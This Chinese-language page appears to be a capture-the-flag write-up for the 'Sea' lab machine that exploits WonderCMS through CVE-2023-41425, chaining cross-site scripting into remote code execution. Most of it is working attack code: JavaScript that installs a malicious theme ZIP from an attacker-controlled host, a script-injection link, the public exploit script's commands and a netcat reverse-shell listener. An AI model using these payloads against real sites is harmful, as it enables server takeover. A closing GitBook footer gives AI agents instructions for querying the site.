> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/wonder-cms-exploitation.md).

# Wonder

## 漏洞奇观 /\[CVE-2023-41425]

搜索 CMS 漏洞会发现一个 XSS 到 RCE 的问题。

{% embed url="<https://github.com/prodigiousMind/CVE-2023-41425?tab=readme-ov-file>" %}

**用于获取 shell 的 JavaScript 代码：**/ 以下 JavaScript 会下载一个包含反向 shell 脚本的恶意 ZIP 文件，并在服务器上执行它：

```javascript
// 服务器在使用 JavaScript 解析域名时存在一些问题
// 我们可以直接按要求提供目标 URL 参数
var whateverURL = "http://sea.htb"; 
var token = document.querySelectorAll('[name="token"]')[0].value;
// 修改在 HTTP 服务器上提供的 ZIP 文件路径
var urlRev = whateverURL+"/?installModule=http://10.10.14.89:8000/whatever.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
 if (xhr3.status == 200) {
   var xhr4 = new XMLHttpRequest();
   xhr4.withCredentials = true;
   // 访问上传的 ZIP 文件中的 rev.php
   xhr4.open("GET", whateverURL+"/themes/whatever/rev.php");
   xhr4.send();
   xhr4.onload = function() {
     if (xhr4.status == 200) {
       var ip = "10.10.14.89";
       var port = "4444";
       var xhr5 = new XMLHttpRequest();
       xhr5.withCredentials = true;
       // 触发反向 shell 脚本并提供监听 IP 和端口
       xhr5.open("GET", whateverURL+"/themes/whatever/rev.php?lhost=" + ip + "&lport=" + port);
       xhr5.send();
     }
   };
 }
};
```

**安装 CVE-2023-41425 的利用脚本：**

```bash
git clone https://github.com/prodigiousMind/CVE-2023-41425
cd CVE-2023-41425
```

运行利用脚本：

```bash
python3 exploit.py http://sea.htb/loginURL 10.10.14.89 4444
```

该脚本通过 `xss.js`，从而提供 RCE 并控制目标。

<figure><img src="/files/69fce4251f8175ea218300b486dd24e9cb9c5113" alt=""><figcaption></figcaption></figure>

**最后一步：**

通过 `contact.php` 表单触发恶意链接：

{% code fullWidth="true" %}

```
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.89:8000/xss.js"></script><form+action="
```

{% endcode %}

<figure><img src="/files/b7e8b36d0c725900fe87c47e5fafc1384ff60d01" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8f1d5f09a976b8d91fbf663a9b367f2d0ed867f0" alt=""><figcaption></figcaption></figure>

**设置一个 Netcat 监听器：**/ 在 4444 端口启动监听器：

```bash
nc -nlvp 4444
```

<figure><img src="/files/269d5109d758787e672bab37e5bbbb353950f2d9" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/cms/wonder-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
